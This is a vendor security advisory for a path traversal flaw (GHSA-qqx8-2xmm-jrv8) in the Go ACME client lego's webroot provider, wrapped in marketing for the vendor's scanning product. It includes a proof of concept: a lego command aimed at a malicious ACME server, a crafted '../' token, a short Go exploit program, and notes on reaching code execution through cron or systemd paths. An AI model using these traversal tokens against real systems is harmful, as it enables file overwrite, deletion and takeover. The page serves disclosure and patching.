GHSA-qqx8-2xmm-jrv8
HIGHGHSA-qqx8-2xmm-jrv8 is a high-severity (CVSS 8.8) Path Traversal vulnerability in github.com/go-acme/lego/v4. O3 Security confirms whether GHSA-qqx8-2xmm-jrv8 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
ACME Lego: Arbitrary File Write via Path Traversal in Webroot HTTP-01 Provider
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-qqx8-2xmm-jrv8.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-qqx8-2xmm-jrv8 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 356,453 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/go-acme/lego/v4🐹github.com/go-acme/lego/v3🐹github.com/go-acme/legoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process.
Details
The ChallengePath() function in challenge/http01/http_challenge.go:26-27 constructs the challenge file path by directly concatenating the ACME token without any validation:
func ChallengePath(token string) string {
return "/.well-known/acme-challenge/" + token
}
The webroot provider in providers/http/webroot/webroot.go:31 then joins this with the configured webroot directory and writes the key authorization content to the resulting path:
challengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))
err = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)
err = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)
RFC 8555 Section 8.3 specifies that ACME tokens must only contain characters from the base64url alphabet ([A-Za-z0-9_-]), but this constraint is never enforced anywhere in the codebase. When a malicious ACME server returns a token such as ../../../../../../tmp/evil, filepath.Join() resolves the .. components, producing a path outside the webroot directory.
The same vulnerability exists in the CleanUp() function at providers/http/webroot/webroot.go:48, which deletes the challenge file using the same unsanitized path:
err := os.Remove(filepath.Join(w.path, http01.ChallengePath(token)))
This additionally enables arbitrary file deletion.
PoC
In a real attack scenario, the victim uses --server to point lego at a malicious ACME server, combined with --http.webroot:
lego --server https://malicious-acme.example.com \
--http --http.webroot /var/www/html \
--email [email protected] \
--domains example.com \
run
The malicious server returns a challenge token containing path traversal sequences ../../../../../../tmp/pwned. lego's webroot provider writes the key authorization to the traversed path without validation, resulting in arbitrary file write outside the webroot.
The following minimal Go program demonstrates the core vulnerability by directly calling the webroot provider with a crafted token:
package main
import (
"fmt"
"os"
"github.com/go-acme/lego/v4/providers/http/webroot"
)
func main() {
webrootDir, _ := os.MkdirTemp("", "lego-webroot-*")
defer os.RemoveAll(webrootDir)
provider, _ := webroot.NewHTTPProvider(webrootDir)
token := "../../../../../../../../../../tmp/pwned"
provider.Present("example.com", token, "EXPLOITED-BY-PATH-TRAVERSAL")
data, err := os.ReadFile("/tmp/pwned")
if err == nil {
fmt.Println("[+] VULNERABILITY CONFIRMED")
fmt.Printf("[+] File written outside webroot: /tmp/pwned\n")
fmt.Printf("[+] Content: %s\n", data)
}
}
go build -o exploit ./exploit.go && ./exploit
Expected output:
[+] VULNERABILITY CONFIRMED
[+] File written outside webroot: /tmp/pwned
[+] Content: EXPLOITED-BY-PATH-TRAVERSAL
Impact
This is a path traversal vulnerability (CWE-22). Any user running lego with the HTTP-01 challenge solver against a malicious or compromised ACME server is affected.
A malicious ACME server can:
- Achieve remote code execution by writing to cron directories, systemd unit paths, shell profiles, or web application directories served by the webroot.
- Destroy data by overwriting configuration files, TLS certificates, or application state.
- Escalate privileges if lego runs as root, granting unrestricted filesystem write access.
- Delete arbitrary files via the
CleanUp()code path using the same unsanitized token.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/go-acme/lego/v4 | all versions | 4.34.0 |
| 🐹Go | github.com/go-acme/lego/v3 | all versions | No fix |
| 🐹Go | github.com/go-acme/lego | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/go-acme/lego/v4. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/go-acme/lego/v4 to 4.34.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qqx8-2xmm-jrv8 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-qqx8-2xmm-jrv8 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-qqx8-2xmm-jrv8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
The `lego` client, utilized in Red Hat OpenShift Dev Spaces, is susceptible to a path traversal vulnerability within its webroot HTTP-01 challenge provider. A malicious ACME server could exploit this flaw by sending a specially crafted challenge token, enabling arbitrary file write or deletion on the system running…
Frequently Asked Questions
Is GHSA-qqx8-2xmm-jrv8 in your dependencies?
O3 detects GHSA-qqx8-2xmm-jrv8 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.